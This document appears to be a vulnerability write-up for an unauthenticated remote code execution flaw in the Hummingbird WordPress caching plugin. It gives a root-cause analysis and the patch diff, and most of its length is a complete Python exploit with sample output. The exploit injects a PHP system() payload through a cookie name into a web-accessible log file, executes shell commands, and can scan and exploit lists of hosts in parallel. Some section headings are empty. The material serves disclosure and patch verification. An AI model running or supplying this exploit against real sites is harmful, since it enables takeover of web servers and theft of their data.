#Summary

CVE-2026-83627 is an unauthenticated remote code execution in the Hummingbird - Speed Optimization, Caching, Minify, Compress & CDN WordPress plugin (all versions up to and including 3.21.0). The vulnerability stems from a broken access control check in the page-cache debug logger, combined with unsanitized logging of cookie names. An unauthenticated attacker can inject arbitrary PHP code into a web-accessible log file and execute it with a single HTTP request, resulting in full remote code execution as the web server user. CVSS 9.8 CRITICAL.

#Am I affected?

#How to check

Check your Hummingbird version in the WordPress admin plugin list. Version 3.21.0 or earlier is affected if both Page Caching and the page-cache Debug Log are enabled.

To verify programmatically:

curl -s http://target/wp-content/wphb-logs/page-caching-log.php | head -1
Output Status
<?php die(); ?> on first line Patched
Empty body Patched
Text starting with [ (timestamp) Vulnerable and exploitable
404 Not Found Not vulnerable (log file not created)

If your version is 3.21.0 or earlier and the debug log is enabled, you are vulnerable.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The Hummingbird page cache logger writes diagnostic output to a file directly under the web root:

$file = WP_CONTENT_DIR . '/wphb-logs/page-caching-log.php';

Since this file has a .php extension and is web-accessible, it is protected with a <?php die(); ?> header written as the first line. However, the header is guarded by a broken check:

if ( ! $wphb_fs && class_exists( 'Filesystem' ) ) {
    $wphb_fs = Filesystem::instance();
}

if ( $wphb_fs ) {
    $wphb_fs->write( $file, '<?php die(); ?>' . PHP_EOL );
}

The file declares namespace Hummingbird\Core\Modules; and imports use Hummingbird\Core\Filesystem;. While the use statement rewrites compile-time tokens, class_exists() takes a runtime string and PHP always resolves class-name strings as fully qualified in the global namespace. The call class_exists( 'Filesystem' ) therefore asks whether a global \Filesystem class exists, which it never does. The condition is permanently false.

On a front-end request, the global $wphb_fs is null because the early cache bootstrap (wp-content/advanced-cache.php) loads only four files and no autoloader:

require_once __DIR__ . '/class-utils.php';
require_once __DIR__ . '/class-module.php';
require_once __DIR__ . '/traits/trait-wpconfig.php';
require_once __DIR__ . '/modules/class-page-cache.php';

The filesystem class is not loaded, so $wphb_fs stays null and the header is never written.

#How input reaches the sink

When a front-end request reaches Page_Cache::serve_cache(), it calls get_cookies() to extract cookies for the cache key:

foreach ( $_COOKIE as $key => $value ) {
    if ( preg_match( '/^wp-postpass_|^comment_author_|^wordpress_logged_in_|^wphb_cache_/', $key ) ) {
        self::log_msg( 'Found cookie: ' . $key );
        $cookie_value .= $_COOKIE[ $key ] . ',';
    }
}

The raw cookie name (the attacker-controlled key) is concatenated into the log message with no escaping, encoding, or length limit. When the file does not exist and the header is skipped (the case on a front-end request), error_log( $message, 3, $file ) creates the file with the log message as its opening bytes:

[2026-09-08T08:47:18+00:00] Found cookie: <attacker-cookie-name>

The attacker can set their cookie name to wphb_cache_<?php\tsystem(current($_GET))?>, and those exact bytes land in the file.

#The payload encoding constraints

The cookie name travels through the HTTP cookie grammar and then through PHP's external-variable key mangling. Only certain bytes survive:

#Patch diff

SVN changeset r3675836, released in version 3.21.2. Three independent changes to log_msg():

-	if ( ! $wphb_fs && class_exists( 'Filesystem' ) ) {
+	if ( ! $wphb_fs && class_exists( Filesystem::class ) ) {

Filesystem::class is resolved at compile time through the use import, so the literal 'Hummingbird\Core\Filesystem' is tested and the guard can now succeed.

+	$guard        = '<?php die(); ?>' . PHP_EOL;
+	$guard_prefix = '<?php die();';
+	$needs_guard  = ! file_exists( $file ) || $guard_prefix !== @file_get_contents( $file, false, null, 0, strlen( $guard_prefix ) );
+
-	if ( ! file_exists( $file ) ) {
+	if ( $needs_guard ) {

The precondition widens from "file is missing" to "file is missing or does not start with the guard". A poisoned log is re-guarded on the next write.

Most importantly:

 		if ( $wphb_fs ) {
-			$wphb_fs->write( $file, '<?php die(); ?>' . PHP_EOL );
+			if ( ! $wphb_fs || true !== $wphb_fs->write( $file, $guard ) ) {
+				return;
+			}

The function now fails closed. If the filesystem helper is unavailable or the guard write fails, log_msg() returns before error_log(), so nothing is written to the file at all. On the front-end path where the class cannot be loaded, the function now logs nothing rather than logging into an unprotected file.

#Proof of concept

#exploit.py - Hummingbird Page Cache Log Injection RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-83627 - Hummingbird (WordPress plugin) unauthenticated RCE via page-cache
                 debug-log poisoning (cookie-name PHP injection).
Affected: Hummingbird - Speed Optimization, Caching, Minify, Compress & CDN <= 3.21.0
Fixed:    3.21.2
Type:     RCE (unauthenticated arbitrary PHP write + execute)

Root cause (two combined defects in core/modules/class-page-cache.php):
  1. log_msg() guards the protective '<?php die(); ?>' header behind
     class_exists('Filesystem'). That string resolves in the GLOBAL namespace,
     but the real class is Hummingbird\\Core\\Filesystem, so the guard never
     matches. On an early front-end request the header is skipped entirely and
     error_log() creates wp-content/wphb-logs/page-caching-log.php - a
     web-accessible .php file - with the first log line as its opening bytes.
  2. get_cookies() writes the raw NAME of any cookie matching /^wphb_cache_/
     into that same log with no sanitisation.
  Together: an attacker names a cookie 'wphb_cache_<?php ... ?>', the bytes land
  verbatim in a .php file under the web root, and requesting that file executes
  the PHP.

Exploit flow (all pre-auth, no session):
  Step 0  GET the log file      - report whether it is absent / unguarded / guarded.
  Step 1  GET /  with a cookie whose NAME is the PHP payload, no query string,
          a normal browser User-Agent - the plugin logs the raw name.
  Step 2  GET the log file with ?0=<command> - system(current($_GET)) runs the
          command and its stdout is returned inline in the response body.

The payload travels as a cookie NAME, so it is built only from bytes that
survive the HTTP cookie grammar and PHP's key mangling: '<?php' must be followed
by whitespace and a space becomes '_', so a literal TAB (0x09) opens the tag;
'[' is mangled so current($_GET) reads the first GET value instead of $_GET['x'];
'?>' self-closes so no ';' is needed and every later log line is inert text.

Usage:
  python exploit.py --host 127.0.0.1 --port 8360
  python exploit.py --host 127.0.0.1 --port 8360 --command "uname -a"
  python exploit.py --host https://blog.example.com/ --command id
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import re
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse, quote

CVE_ID    = "CVE-2026-83627"
VULN_TYPE = "RCE"

# The log file relative to the WordPress content root.
LOG_REL_PATH = "wp-content/wphb-logs/page-caching-log.php"

# Cookie NAME payload. The single literal 0x09 after '<?php' is what makes the
# open tag survive PHP's key mangling (a space would become '_'). Do not
# url-encode it. current($_GET) is used because '[' is mangled, so $_GET['x']
# is not expressible. '?>' self-closes the block without a ';'.
COOKIE_PAYLOAD = "wphb_cache_<?php\tsystem(current($_GET))?>"


# --------------------------------------------------------------------------- #
#  Standard output helpers                                                     #
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Raw HTTP - the cookie has no '=', no value, and an embedded tab, so no      #
#  cookie-jar / header-validating client can carry it. We speak HTTP/1.1 on a  #
#  bare socket to control every byte of the request line and headers.          #
# --------------------------------------------------------------------------- #
def _raw_request(host: str, port: int, use_tls: bool, raw_request: bytes,
                 timeout: float = 12.0) -> tuple:
    """
    Send raw_request bytes, read the full response until the server closes the
    connection (we always send 'Connection: close'). Returns (status_code,
    headers_dict, body_bytes). Raises on transport failure.
    """
    sock = socket.create_connection((host, port), timeout=timeout)
    try:
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        sock.sendall(raw_request)
        chunks = []
        while True:
            try:
                data = sock.recv(65536)
            except socket.timeout:
                break
            if not data:
                break
            chunks.append(data)
    finally:
        try:
            sock.close()
        except Exception:
            pass

    raw = b"".join(chunks)
    head, _, body = raw.partition(b"\r\n\r\n")
    status = 0
    headers = {}
    lines = head.split(b"\r\n")
    if lines and lines[0].startswith(b"HTTP/"):
        parts = lines[0].split(b" ", 2)
        if len(parts) >= 2 and parts[1].isdigit():
            status = int(parts[1])
    for line in lines[1:]:
        k, _, v = line.partition(b":")
        if k:
            headers[k.decode("latin-1").strip().lower()] = v.decode("latin-1").strip()

    if headers.get("transfer-encoding", "").lower() == "chunked":
        body = _dechunk(body)
    return status, headers, body


def _dechunk(body: bytes) -> bytes:
    out = b""
    while body:
        size_line, _, rest = body.partition(b"\r\n")
        try:
            size = int(size_line.split(b";", 1)[0].strip(), 16)
        except ValueError:
            break
        if size == 0:
            break
        out += rest[:size]
        body = rest[size + 2:]  # skip trailing CRLF
    return out


def _http_get(host: str, port: int, use_tls: bool, path: str,
              extra_headers: str = "", timeout: float = 12.0) -> tuple:
    """Build and send a minimal GET. extra_headers is a pre-joined CRLF block."""
    host_hdr = host if (port in (80, 443)) else f"{host}:{port}"
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host_hdr}\r\n"
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36\r\n"
        "Accept: text/html\r\n"
    )
    if extra_headers:
        req += extra_headers.rstrip("\r\n") + "\r\n"
    req += "Connection: close\r\n\r\n"
    return _raw_request(host, port, use_tls, req.encode("latin-1"), timeout)


# --------------------------------------------------------------------------- #
#  Exploit primitives                                                          #
# --------------------------------------------------------------------------- #
def _log_path(base_path: str) -> str:
    base = base_path.rstrip("/")
    return f"{base}/{LOG_REL_PATH}"


def _poison(host: str, port: int, use_tls: bool, base_path: str,
            timeout: float = 12.0) -> int:
    """
    Step 1: one anonymous GET of the site root carrying the payload as a raw
    Cookie header. No query string (should_cache_request() bails on GET params).
    Returns the HTTP status of the home-page response (200 expected; the actual
    proof is only visible in step 2).
    """
    poison_path = base_path if base_path.startswith("/") else "/" + base_path
    if not poison_path:
        poison_path = "/"
    cookie_hdr = "Cookie: " + COOKIE_PAYLOAD  # literal tab preserved, no '=' / value
    status, _, _ = _http_get(host, port, use_tls, poison_path, cookie_hdr, timeout)
    return status


def _execute(host: str, port: int, use_tls: bool, base_path: str, command: str,
             timeout: float = 12.0) -> tuple:
    """
    Step 2: request the poisoned log file, driving system(current($_GET)) with
    the operator command wrapped between two random sentinels so the command's
    stdout can be isolated and execution confirmed regardless of the command.
    Returns (status, body_text, marker_a, marker_b).
    """
    marker_a = secrets.token_hex(8)
    marker_b = secrets.token_hex(8)
    # /bin/sh -c receives this whole line via system(); ';' is legal here (query
    # string, not the cookie). echo the sentinels around the real command output.
    shell_line = f"echo {marker_a}; {command}; echo {marker_b}"
    path = _log_path(base_path) + "?0=" + quote(shell_line, safe="")
    status, _, body = _http_get(host, port, use_tls, path, "", timeout)
    return status, body.decode("utf-8", "replace"), marker_a, marker_b


def _probe_log(host: str, port: int, use_tls: bool, base_path: str,
               timeout: float = 12.0) -> tuple:
    """Step 0: report current state of the log file. Returns (status, body_text)."""
    status, _, body = _http_get(host, port, use_tls, _log_path(base_path), "", timeout)
    return status, body.decode("utf-8", "replace")


def _extract_output(body: str, marker_a: str, marker_b: str) -> str:
    """Pull the command stdout that sits between the two sentinels."""
    m = re.search(re.escape(marker_a) + r"\s*(.*?)\s*" + re.escape(marker_b),
                  body, re.DOTALL)
    return m.group(1).strip() if m else ""


# --------------------------------------------------------------------------- #
#  Silent probe for scan mode                                                  #
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "/",
                 command: str = "id", **kwargs) -> tuple:
    """Silent (host,port)->(success, evidence). Never prints, never exits."""
    try:
        _poison(host, port, use_tls, base_path)
        status, body, ma, mb = _execute(host, port, use_tls, base_path, command)
    except Exception as e:  # noqa: BLE001
        return False, f"unreachable ({e.__class__.__name__})"

    if ma in body and mb in body:
        out = _extract_output(body, ma, mb)
        first = out.splitlines()[0].strip() if out.splitlines() else "(no stdout)"
        return True, f"command executed - {first}"
    if not body.strip():
        return False, "blocked - log guarded with <?php die(); ?> (patched)"
    if status == 404:
        return False, "log file not created (debug log off / preconditions unmet)"
    if "<?php" in body:
        return False, "payload written but not executed (open tag mangled)"
    return False, "no execution evidence in response (target may be patched)"


# --------------------------------------------------------------------------- #
#  Verbose single-target exploit                                              #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, base_path: str, command: str) -> None:
    header(host, port)

    step(0, f"Probing log file state ({_log_path(base_path)}) ...")
    try:
        s0, b0 = _probe_log(host, port, use_tls, base_path)
    except Exception as e:  # noqa: BLE001
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")
    if s0 == 404:
        print("        log absent (HTTP 404) - it will be created by the poison request")
    elif s0 == 200 and not b0.strip():
        print("        log present but GUARDED (200, empty body) - '<?php die(); ?>' fired")
        print("        target is very likely patched; continuing to confirm")
    elif s0 == 200:
        print("        log present and UNGUARDED (200, non-empty) - renders as text")
        if "<?php" in b0:
            print("        WARNING: log already contains a '<?php' block from a prior write")
    else:
        print(f"        unexpected status {s0}; continuing")

    step(1, "Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...")
    try:
        ps = _poison(host, port, use_tls, base_path)
    except Exception as e:  # noqa: BLE001
        done(False, f"poison request failed: {e.__class__.__name__}: {e}")
    print(f"        home page responded HTTP {ps} (proof is not visible here)")

    step(2, f"Executing: GET the log file with ?0=<command>  (command: {command!r}) ...")
    try:
        es, body, ma, mb = _execute(host, port, use_tls, base_path, command)
    except Exception as e:  # noqa: BLE001
        done(False, f"execute request failed: {e.__class__.__name__}: {e}")

    if ma in body and mb in body:
        out = _extract_output(body, ma, mb)
        section("COMMAND OUTPUT", out if out else "(command produced no stdout)")
        # Show the injection point line as corroboration.
        for line in body.splitlines():
            if "Found cookie: wphb_cache_" in line:
                section("INJECTION POINT", line)
                break
        first = out.splitlines()[0].strip() if out.splitlines() else "(no stdout)"
        done(True, f"RCE confirmed - command {command!r} executed on target: {first}")

    if not body.strip():
        section("SERVER RESPONSE", f"HTTP {es} with an empty body")
        done(False, "Log is guarded with '<?php die(); ?>' - die() fired, payload inert. "
                    "This is the expected result on a patched (>= 3.21.2) target.")

    if es == 404:
        section("SERVER RESPONSE", "HTTP 404 - log file was not created")
        done(False, "Log not created: debug log disabled, WP_CACHE/advanced-cache.php "
                    "not wired, wphb-logs/ missing, or poison request rejected by "
                    "should_cache_request().")

    if "<?php" in body:
        section("SERVER RESPONSE", body[:2000])
        done(False, "Payload written to the log but rendered as literal text - the "
                    "'<?php' open tag did not survive (tab likely mangled to space or %09).")

    section("SERVER RESPONSE", body[:2000] if body.strip() else "(empty body)")
    done(False, "Payload sent but no execution evidence - target may be patched.")


# --------------------------------------------------------------------------- #
#  Target parsing + scan mode                                                  #
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         command: str = "id") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host/blog)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80,
                        help="Default port (default: 80)")
    parser.add_argument("--command", default="id",
                        help="Shell command to execute on the target (default: id)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command)

#Usage

python3 exploit.py --host 127.0.0.1 --port 80
python3 exploit.py --host 127.0.0.1 --port 80 --command "whoami"
python3 exploit.py --host https://blog.example.com/ --command "uname -a"
python3 exploit.py --list targets.txt --workers 20

The exploit accepts:

Vulnerable target output:

[STEP 0] Probing log file state (/wp-content/wphb-logs/page-caching-log.php) ...
        unexpected status 301; continuing
[STEP 1] Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...
        home page responded HTTP 200 (proof is not visible here)
[STEP 2] Executing: GET the log file with ?0=<command>  (command: 'id') ...

--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

--- INJECTION POINT ---
[2026-09-08T08:47:18+00:00] Found cookie: wphb_cache_60fc336737bbd1ae
---

  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' executed on target: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Patched target output:

[STEP 0] Probing log file state (/wp-content/wphb-logs/page-caching-log.php) ...
        unexpected status 301; continuing
[STEP 1] Poisoning: GET / with the PHP payload as a raw cookie name (no query string) ...
        home page responded HTTP 200 (proof is not visible here)
[STEP 2] Executing: GET the log file with ?0=<command>  (command: 'id') ...

--- SERVER RESPONSE ---
HTTP 200 with an empty body
---

  RESULT  : FAILURE
  EVIDENCE: Log is guarded with '<?php die(); ?>' - die() fired, payload inert. This is the expected result on a patched (>= 3.21.2) target.

#Exploitation notes

#References